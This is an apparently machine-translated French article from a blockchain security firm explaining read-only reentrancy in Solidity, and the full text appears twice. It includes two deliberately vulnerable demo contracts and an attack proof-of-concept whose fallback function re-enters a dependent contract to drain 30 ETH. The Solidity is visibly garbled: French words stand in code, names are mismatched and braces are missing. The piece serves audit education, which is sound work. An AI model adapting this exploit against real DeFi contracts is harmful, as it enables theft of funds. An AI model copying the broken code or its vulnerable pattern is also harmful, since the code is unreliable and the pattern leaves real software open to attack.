Connaissances essentielles pour l'audit de sécurité : Qu'est-ce que « l'attaque par réentrance en lecture seule » qui s'est fréquemment produite récemment et est difficile à prévenir ?
Auteur de cet article : Sivan, expert en recherche sur la sécurité Beosin
Récemment, il y a eu de nombreuses attaques de rentrée dans l'écosystème de la blockchain.Ces attaques ne sont pas comme les vulnérabilités de rentrée que nous connaissions auparavant, mais des attaques de rentrée en lecture seule qui se produisent lorsque le projet a un verrou de rentrée.
Les connaissances nécessaires pour l'audit de sécurité d'aujourd'hui, l'équipe de recherche en sécurité de Beosin vous expliquera ce qu'est "l'attaque par réentrance en lecture seule".
Quelles situations conduisent au risque de vulnérabilités de réentrance ?
Dans le processus de programmation du contrat intelligent Solidity, un contrat intelligent est autorisé à appeler le code d'un autre contrat intelligent. Dans la conception commerciale de nombreux projets, il est nécessaire d'envoyer ETH à une certaine adresse, mais si l'adresse de réception ETH est un contrat intelligent, la fonction de secours du contrat intelligent sera appelée. Si un utilisateur malveillant écrit du code bien conçu dans la fonction de secours du contrat, il peut y avoir un risque de vulnérabilités de réentrance.
L'attaquant peut relancer l'appel au contrat du projet dans la fonction de secours du contrat illicite. A ce moment, le premier processus d'appel n'est pas terminé, et certaines variables n'ont pas été modifiées. Dans ce cas, le second appel provoquera le contrat de projet pour utiliser des variables inhabituelles effectuer des calculs connexes ou permettre à un attaquant de contourner certaines restrictions de contrôle.
En d'autres termes, la racine de la vulnérabilité de réentrance réside dans l'appel d'une interface du contrat cible après l'exécution du transfert, et le changement de grand livre entraîne le contournement du contrôle après l'appel du contrat cible, c'est-à-dire que la conception n'est pas en stricte conformité avec le mode contrôle-validation-interaction. Par conséquent, en plus des vulnérabilités de réentrance causées par les transferts Ethereum, certaines conceptions inappropriées peuvent également conduire à des attaques de réentrance, comme dans l'exemple suivant :
1. L'appel de fonctions externes contrôlables entraînera la possibilité d'une réentrance
2. Les fonctions liées à la sécurité ERC721/1155 peuvent provoquer une réentrance
À l"heure actuelle, les attaques de réentrance sont une vulnérabilité courante. La plupart des développeurs de projets blockchain sont également conscients des dangers des attaques de réentrance. Les verrous de réentrance sont essentiellement définis dans les projets, de sorte que lors de l"appel d"une fonction avec un verrou de réentrance, toute fonction qui détient le même réentrant le verrou ne peut plus être appelé. Bien que les verrous de rentrée puissent empêcher efficacement les attaques de rentrée ci-dessus, il existe une autre attaque appelée "rentrée en lecture seule" qui est difficile à empêcher.
Qu'est-ce que la "réentrance en lecture seule" difficile à empêcher ?
Ci-dessus, nous avons présenté les types réentrants courants, dont le cœur est d'utiliser l'état anormal pour calculer le nouvel état après la rentrée, ce qui entraîne une mise à jour de l'état anormal. Ensuite, si la fonction que nous appelons est une fonction en lecture seule modifiée en vue, il n'y aura pas de modification d'état dans la fonction, et après l'appel de la fonction, cela n'aura aucun impact sur ce contrat. Par conséquent, les développeurs de tels projets de fonctions ne prêteront pas trop d'attention au risque de réentrance, et n'y ajouteront pas de verrous de réentrance.
Bien que la fonction modifiée par la vue de rentrée n'affecte fondamentalement pas ce contrat, il existe une autre situation où un contrat appellera la fonction de vue d'autres contrats en tant que dépendance de données, et la fonction de vue de ce contrat n'ajoute pas de rentrée verrouiller. Cela peut entraîner un risque de réentrance en lecture seule.
Par exemple, un contrat de projet A peut mettre en gage des jetons et retirer des jetons, et fournir la fonction d'interrogation des prix en fonction du montant total de jetons et de certificats de contrat mis en gage. Il existe un verrou de rentrée entre les jetons mis en gage et les jetons retirés, et la requête fonction n'existe pas Un verrou réentrant existe. Il existe un autre projet B qui fournit la fonction de retrait de la promesse. Il existe un verrou de rentrée entre la promesse et le retrait. La fonction de retrait de la promesse s'appuie sur la fonction de requête de prix du projet A pour calculer le jeton de bon.
Il existe un risque de réentrance en lecture seule entre les deux projets ci-dessus, comme le montre la figure ci-dessous :
L'attaquant mise et retire des jetons dans ContractA.
Le retrait de jetons appellera la fonction de repli du contrat de l'attaquant.
L'attaquant appelle à nouveau la fonction de gage dans ContractB dans le contrat.
La fonction de gage appellera la fonction de calcul du prix de ContractA. À ce stade, le statut du contrat de ContractA n'a pas été mis à jour, ce qui entraîne une erreur dans le prix calculé, et davantage de jetons sont calculés et envoyés à l'attaquant.
Une fois la rentrée terminée, le statut de ContractA est mis à jour.
Enfin, l'attaquant appelle ContractB pour retirer des jetons.
À l'heure actuelle, les données obtenues par ContractB ont été mises à jour et davantage de jetons peuvent être retirés.
Analyse du principe du code
Nous prenons la démo suivante comme exemple pour expliquer le problème de la réentrance en lecture seule. Ce qui suit n'est qu'un code de test sans véritable logique métier. Il sert uniquement de référence pour étudier la réentrance en lecture seule.
Rédigez le contrat ContractA :
pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; mapping (address => uint256) public _balances; bool check=true; /** * Reentry lock. **/ modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } /** * Calculer la promesse en fonction du nombre total de jetons et le montant promis du certificat de contrat Valeur, 10e8 pour le traitement de précision. **/ fonction get_price() vue publique virtuelle renvoie (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /\ ** * Mise en gage de l'utilisateur, augmentation du montant de la mise en gage et fourniture de la devise du bon. **/ fonction dépôt() public payant noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintamount ; } /** * L'utilisateur se retire, réduit le montant mis en gage et détruit le montant total du jeton. **/ function remove(uint256 burnamount) public noreentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; payable(msg.sender).call{value:sendamount}( ""); _balances[msg.sender]-=burnamount; _totalSupply-=burnamount;
Déployez le contrat ContractA et engagez 50ETH, et le projet de simulation est déjà en cours d'exécution.
Écrivez le contrat ContractB (en fonction de la fonction get_price du contrat ContractA) :
pragma solidity ^0.8.21;interface ContractA { function get_price() retour de la vue externe (uint256);}contract ContractB { ContractA contract_a; mapping (address => uint256) private _balances; bool check=true; () { require(check); check=false; _; check=true; } constructor(){ } function setcontracta(address addr) public { contract_a = ContractA(addr); } /** * Pledge tokens , calculez la valeur des jetons mis en gage en fonction de get_price() du contrat ContractA et calculez le nombre de jetons de bons**/ function depositFunds() public payable noreentrancy(){ uint256 mintamount=msg.value\ *contract _a.get_price()/10e8 ; _balances[msg.sender]+=mintamount ; } /** * Retirer des jetons et calculer les jetons de bon d'achat en fonction du get_price() du contrat ContractA Calculer la valeur du retrait tokens**/ function removeFunds(uint256 burnamount) public payable noreentrancy(){ _balances[msg.sender]-=burnamount; uint256 amount=burnamount*10e8/contract_a.get_price(); msg.sender .call{value:amount}(""); } fonction balanceof(adresse compte) la vue publique renvoie (uint256){ return _balances [acount] ;
Déployez le contrat ContractB pour définir l'adresse ContractA et engagez 30ETH, et le projet de simulation est déjà en cours d'exécution.
Rédigez un contrat POC d'attaque :
pragma solidity ^0.8.21 ;interface ContractA { fonction dépôt() paiement externe ; fonction retrait(montant uint256) externe ;}interface ContractB { fonction dépôtFunds() paiement externe ; action balanceof(adresse compte) vue externe renvoie (uint256);} contract POC { ContractA contract_a; ContractB contract_b; address payable _owner; uint flag=0; uint256 depositamount=30 ether; ); } function setaddr(address _contracta,address _contractb) public { contract_a=ContratA (_contracta); contract_b=ContratB(_contractb); } /** * L'attaque commence à appeler la fonction, Ajouter de la liquidité, supprimer de la liquidité et enfin retirer des jetons. **/ function start(uint256 amount)public { contract_a.deposit{value:amount}(); contract_a.withdraw(amount); contract_b.withdrawFunds(contract_b.balanceof(address(this ))); } /** * Fonction d'implantation appelée en réentrance. **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * Une fois l'attaque terminée, retirez l'ETH. **/ function getEther() public { _owner.transfer(address(this).balance); } /** * fonction de rappel, clé réentrante. **/ fallback() payable external { if(msg.sender==address(contract_a)){ depot(); }
Passez à un autre compte EOA pour déployer le contrat d'attaque et transférer 50ETH, et définissez les adresses ContractA et ContractB.
Passez 5000000000000000000 (50*10^18) dans la fonction de démarrage et exécutez-la, et constatez que 30ETH de ContractB a été transféré par le contrat POC.
Appelez à nouveau la fonction getEther et l'adresse de l'attaquant gagne 30ETH.
Analyse du processus d'appel de code :
La fonction de démarrage appelle d'abord la fonction de dépôt du contrat ContractA pour hypothéquer ETH. L'attaquant passe en 50*10^18, plus les 50*10^18 détenus par le contrat initial. À ce moment, _allstake et _totalSupply sont tous les deux 100*10 ^18.
Ensuite, appelez la fonction de retrait de contrat de ContractA pour retirer des jetons. Le contrat mettra d'abord à jour _allstake et enverra 50 ETH au contrat d'attaque. À ce moment, il appellera la fonction de repli du contrat d'attaque et mettra enfin à jour _totalSupply .
Dans la fonction de secours, le contrat d'attaque appelle le contrat ContractB pour mettre en gage 30 ETH. Étant donné que get_price est une fonction d'affichage, le contrat ContractB réintègre avec succès la fonction get_price de ContractA. À ce moment, parce que le _totalSupply n'a pas été mis à jour, il est toujours 100\ *10^18, mais _allstake a été réduit à 50*10^18, donc la valeur renvoyée ici sera doublée. Il ajoutera 60*10^18 jetons au contrat d'attaque.
Une fois la rentrée terminée, le contrat d'attaque appelle le contrat ContractB pour extraire l'ETH. À ce stade, _totalSupply a été mis à jour à 50*10^18, et le même montant d'ETH que la devise du certificat sera calculé. Transféré 60ETH au contrat d'attaque. Au final, l'attaquant a réalisé un bénéfice de 30 ETH.
Conseils de sécurité Beosin
Pour les problèmes de sécurité ci-dessus, l'équipe de sécurité Beosin suggère : Pour les projets qui doivent s'appuyer sur d'autres projets comme support de données, la sécurité de la logique métier de la combinaison du projet dépendant et de son propre projet doit être strictement vérifiée. Dans le cas où il n'y a pas de problèmes dans les deux projets seuls, de graves problèmes de sécurité peuvent survenir après les avoir combinés.
Voir l'original
Cette page peut inclure du contenu de tiers fourni à des fins d'information uniquement. Gate ne garantit ni l'exactitude ni la validité de ces contenus, n’endosse pas les opinions exprimées, et ne fournit aucun conseil financier ou professionnel à travers ces informations. Voir la section Avertissement pour plus de détails.
Connaissances essentielles pour l'audit de sécurité : Qu'est-ce que « l'attaque par réentrance en lecture seule » qui s'est fréquemment produite récemment et est difficile à prévenir ?
Auteur de cet article : Sivan, expert en recherche sur la sécurité Beosin
Récemment, il y a eu de nombreuses attaques de rentrée dans l'écosystème de la blockchain.Ces attaques ne sont pas comme les vulnérabilités de rentrée que nous connaissions auparavant, mais des attaques de rentrée en lecture seule qui se produisent lorsque le projet a un verrou de rentrée.
Les connaissances nécessaires pour l'audit de sécurité d'aujourd'hui, l'équipe de recherche en sécurité de Beosin vous expliquera ce qu'est "l'attaque par réentrance en lecture seule".
Quelles situations conduisent au risque de vulnérabilités de réentrance ?
Dans le processus de programmation du contrat intelligent Solidity, un contrat intelligent est autorisé à appeler le code d'un autre contrat intelligent. Dans la conception commerciale de nombreux projets, il est nécessaire d'envoyer ETH à une certaine adresse, mais si l'adresse de réception ETH est un contrat intelligent, la fonction de secours du contrat intelligent sera appelée. Si un utilisateur malveillant écrit du code bien conçu dans la fonction de secours du contrat, il peut y avoir un risque de vulnérabilités de réentrance.
L'attaquant peut relancer l'appel au contrat du projet dans la fonction de secours du contrat illicite. A ce moment, le premier processus d'appel n'est pas terminé, et certaines variables n'ont pas été modifiées. Dans ce cas, le second appel provoquera le contrat de projet pour utiliser des variables inhabituelles effectuer des calculs connexes ou permettre à un attaquant de contourner certaines restrictions de contrôle.
En d'autres termes, la racine de la vulnérabilité de réentrance réside dans l'appel d'une interface du contrat cible après l'exécution du transfert, et le changement de grand livre entraîne le contournement du contrôle après l'appel du contrat cible, c'est-à-dire que la conception n'est pas en stricte conformité avec le mode contrôle-validation-interaction. Par conséquent, en plus des vulnérabilités de réentrance causées par les transferts Ethereum, certaines conceptions inappropriées peuvent également conduire à des attaques de réentrance, comme dans l'exemple suivant :
1. L'appel de fonctions externes contrôlables entraînera la possibilité d'une réentrance
2. Les fonctions liées à la sécurité ERC721/1155 peuvent provoquer une réentrance
À l"heure actuelle, les attaques de réentrance sont une vulnérabilité courante. La plupart des développeurs de projets blockchain sont également conscients des dangers des attaques de réentrance. Les verrous de réentrance sont essentiellement définis dans les projets, de sorte que lors de l"appel d"une fonction avec un verrou de réentrance, toute fonction qui détient le même réentrant le verrou ne peut plus être appelé. Bien que les verrous de rentrée puissent empêcher efficacement les attaques de rentrée ci-dessus, il existe une autre attaque appelée "rentrée en lecture seule" qui est difficile à empêcher.
Qu'est-ce que la "réentrance en lecture seule" difficile à empêcher ?
Ci-dessus, nous avons présenté les types réentrants courants, dont le cœur est d'utiliser l'état anormal pour calculer le nouvel état après la rentrée, ce qui entraîne une mise à jour de l'état anormal. Ensuite, si la fonction que nous appelons est une fonction en lecture seule modifiée en vue, il n'y aura pas de modification d'état dans la fonction, et après l'appel de la fonction, cela n'aura aucun impact sur ce contrat. Par conséquent, les développeurs de tels projets de fonctions ne prêteront pas trop d'attention au risque de réentrance, et n'y ajouteront pas de verrous de réentrance.
Bien que la fonction modifiée par la vue de rentrée n'affecte fondamentalement pas ce contrat, il existe une autre situation où un contrat appellera la fonction de vue d'autres contrats en tant que dépendance de données, et la fonction de vue de ce contrat n'ajoute pas de rentrée verrouiller. Cela peut entraîner un risque de réentrance en lecture seule.
Par exemple, un contrat de projet A peut mettre en gage des jetons et retirer des jetons, et fournir la fonction d'interrogation des prix en fonction du montant total de jetons et de certificats de contrat mis en gage. Il existe un verrou de rentrée entre les jetons mis en gage et les jetons retirés, et la requête fonction n'existe pas Un verrou réentrant existe. Il existe un autre projet B qui fournit la fonction de retrait de la promesse. Il existe un verrou de rentrée entre la promesse et le retrait. La fonction de retrait de la promesse s'appuie sur la fonction de requête de prix du projet A pour calculer le jeton de bon.
Il existe un risque de réentrance en lecture seule entre les deux projets ci-dessus, comme le montre la figure ci-dessous :
L'attaquant mise et retire des jetons dans ContractA.
Le retrait de jetons appellera la fonction de repli du contrat de l'attaquant.
L'attaquant appelle à nouveau la fonction de gage dans ContractB dans le contrat.
La fonction de gage appellera la fonction de calcul du prix de ContractA. À ce stade, le statut du contrat de ContractA n'a pas été mis à jour, ce qui entraîne une erreur dans le prix calculé, et davantage de jetons sont calculés et envoyés à l'attaquant.
Une fois la rentrée terminée, le statut de ContractA est mis à jour.
Enfin, l'attaquant appelle ContractB pour retirer des jetons.
À l'heure actuelle, les données obtenues par ContractB ont été mises à jour et davantage de jetons peuvent être retirés.
Analyse du principe du code
Nous prenons la démo suivante comme exemple pour expliquer le problème de la réentrance en lecture seule. Ce qui suit n'est qu'un code de test sans véritable logique métier. Il sert uniquement de référence pour étudier la réentrance en lecture seule.
Rédigez le contrat ContractA :
pragma solidity ^0.8.21;contract ContractA { uint256 private _totalSupply; uint256 private _allstake; mapping (address => uint256) public _balances; bool check=true; /** * Reentry lock. **/ modifier noreentrancy(){ require(check); check=false; _; check=true; } constructor(){ } /** * Calculer la promesse en fonction du nombre total de jetons et le montant promis du certificat de contrat Valeur, 10e8 pour le traitement de précision. **/ fonction get_price() vue publique virtuelle renvoie (uint256) { if(_totalSupply==0||_allstake==0) return 10e8; return _totalSupply*10e8/_allstake; } /\ ** * Mise en gage de l'utilisateur, augmentation du montant de la mise en gage et fourniture de la devise du bon. **/ fonction dépôt() public payant noreentrancy(){ uint256 mintamount=msg.value*get_price()/10e8; _allstake+=msg.value; _balances[msg.sender]+=mintamount; \ _totalSupply+=mintamount ; } /** * L'utilisateur se retire, réduit le montant mis en gage et détruit le montant total du jeton. **/ function remove(uint256 burnamount) public noreentrancy(){ uint256 sendamount=burnamount*10e8/get_price(); _allstake-=sendamount; payable(msg.sender).call{value:sendamount}( ""); _balances[msg.sender]-=burnamount; _totalSupply-=burnamount;
Déployez le contrat ContractA et engagez 50ETH, et le projet de simulation est déjà en cours d'exécution.
Écrivez le contrat ContractB (en fonction de la fonction get_price du contrat ContractA) :
pragma solidity ^0.8.21;interface ContractA { function get_price() retour de la vue externe (uint256);}contract ContractB { ContractA contract_a; mapping (address => uint256) private _balances; bool check=true; () { require(check); check=false; _; check=true; } constructor(){ } function setcontracta(address addr) public { contract_a = ContractA(addr); } /** * Pledge tokens , calculez la valeur des jetons mis en gage en fonction de get_price() du contrat ContractA et calculez le nombre de jetons de bons**/ function depositFunds() public payable noreentrancy(){ uint256 mintamount=msg.value\ *contract _a.get_price()/10e8 ; _balances[msg.sender]+=mintamount ; } /** * Retirer des jetons et calculer les jetons de bon d'achat en fonction du get_price() du contrat ContractA Calculer la valeur du retrait tokens**/ function removeFunds(uint256 burnamount) public payable noreentrancy(){ _balances[msg.sender]-=burnamount; uint256 amount=burnamount*10e8/contract_a.get_price(); msg.sender .call{value:amount}(""); } fonction balanceof(adresse compte) la vue publique renvoie (uint256){ return _balances [acount] ;
Déployez le contrat ContractB pour définir l'adresse ContractA et engagez 30ETH, et le projet de simulation est déjà en cours d'exécution.
Rédigez un contrat POC d'attaque :
pragma solidity ^0.8.21 ;interface ContractA { fonction dépôt() paiement externe ; fonction retrait(montant uint256) externe ;}interface ContractB { fonction dépôtFunds() paiement externe ; action balanceof(adresse compte) vue externe renvoie (uint256);} contract POC { ContractA contract_a; ContractB contract_b; address payable _owner; uint flag=0; uint256 depositamount=30 ether; ); } function setaddr(address _contracta,address _contractb) public { contract_a=ContratA (_contracta); contract_b=ContratB(_contractb); } /** * L'attaque commence à appeler la fonction, Ajouter de la liquidité, supprimer de la liquidité et enfin retirer des jetons. **/ function start(uint256 amount)public { contract_a.deposit{value:amount}(); contract_a.withdraw(amount); contract_b.withdrawFunds(contract_b.balanceof(address(this ))); } /** * Fonction d'implantation appelée en réentrance. **/ function deposit()internal { contract_b.depositFunds{value:depositamount}(); } /** * Une fois l'attaque terminée, retirez l'ETH. **/ function getEther() public { _owner.transfer(address(this).balance); } /** * fonction de rappel, clé réentrante. **/ fallback() payable external { if(msg.sender==address(contract_a)){ depot(); }
Passez à un autre compte EOA pour déployer le contrat d'attaque et transférer 50ETH, et définissez les adresses ContractA et ContractB.
Passez 5000000000000000000 (50*10^18) dans la fonction de démarrage et exécutez-la, et constatez que 30ETH de ContractB a été transféré par le contrat POC.
Appelez à nouveau la fonction getEther et l'adresse de l'attaquant gagne 30ETH.
Analyse du processus d'appel de code :
La fonction de démarrage appelle d'abord la fonction de dépôt du contrat ContractA pour hypothéquer ETH. L'attaquant passe en 50*10^18, plus les 50*10^18 détenus par le contrat initial. À ce moment, _allstake et _totalSupply sont tous les deux 100*10 ^18.
Ensuite, appelez la fonction de retrait de contrat de ContractA pour retirer des jetons. Le contrat mettra d'abord à jour _allstake et enverra 50 ETH au contrat d'attaque. À ce moment, il appellera la fonction de repli du contrat d'attaque et mettra enfin à jour _totalSupply .
Dans la fonction de secours, le contrat d'attaque appelle le contrat ContractB pour mettre en gage 30 ETH. Étant donné que get_price est une fonction d'affichage, le contrat ContractB réintègre avec succès la fonction get_price de ContractA. À ce moment, parce que le _totalSupply n'a pas été mis à jour, il est toujours 100\ *10^18, mais _allstake a été réduit à 50*10^18, donc la valeur renvoyée ici sera doublée. Il ajoutera 60*10^18 jetons au contrat d'attaque.
Une fois la rentrée terminée, le contrat d'attaque appelle le contrat ContractB pour extraire l'ETH. À ce stade, _totalSupply a été mis à jour à 50*10^18, et le même montant d'ETH que la devise du certificat sera calculé. Transféré 60ETH au contrat d'attaque. Au final, l'attaquant a réalisé un bénéfice de 30 ETH.
Conseils de sécurité Beosin
Pour les problèmes de sécurité ci-dessus, l'équipe de sécurité Beosin suggère : Pour les projets qui doivent s'appuyer sur d'autres projets comme support de données, la sécurité de la logique métier de la combinaison du projet dépendant et de son propre projet doit être strictement vérifiée. Dans le cas où il n'y a pas de problèmes dans les deux projets seuls, de graves problèmes de sécurité peuvent survenir après les avoir combinés.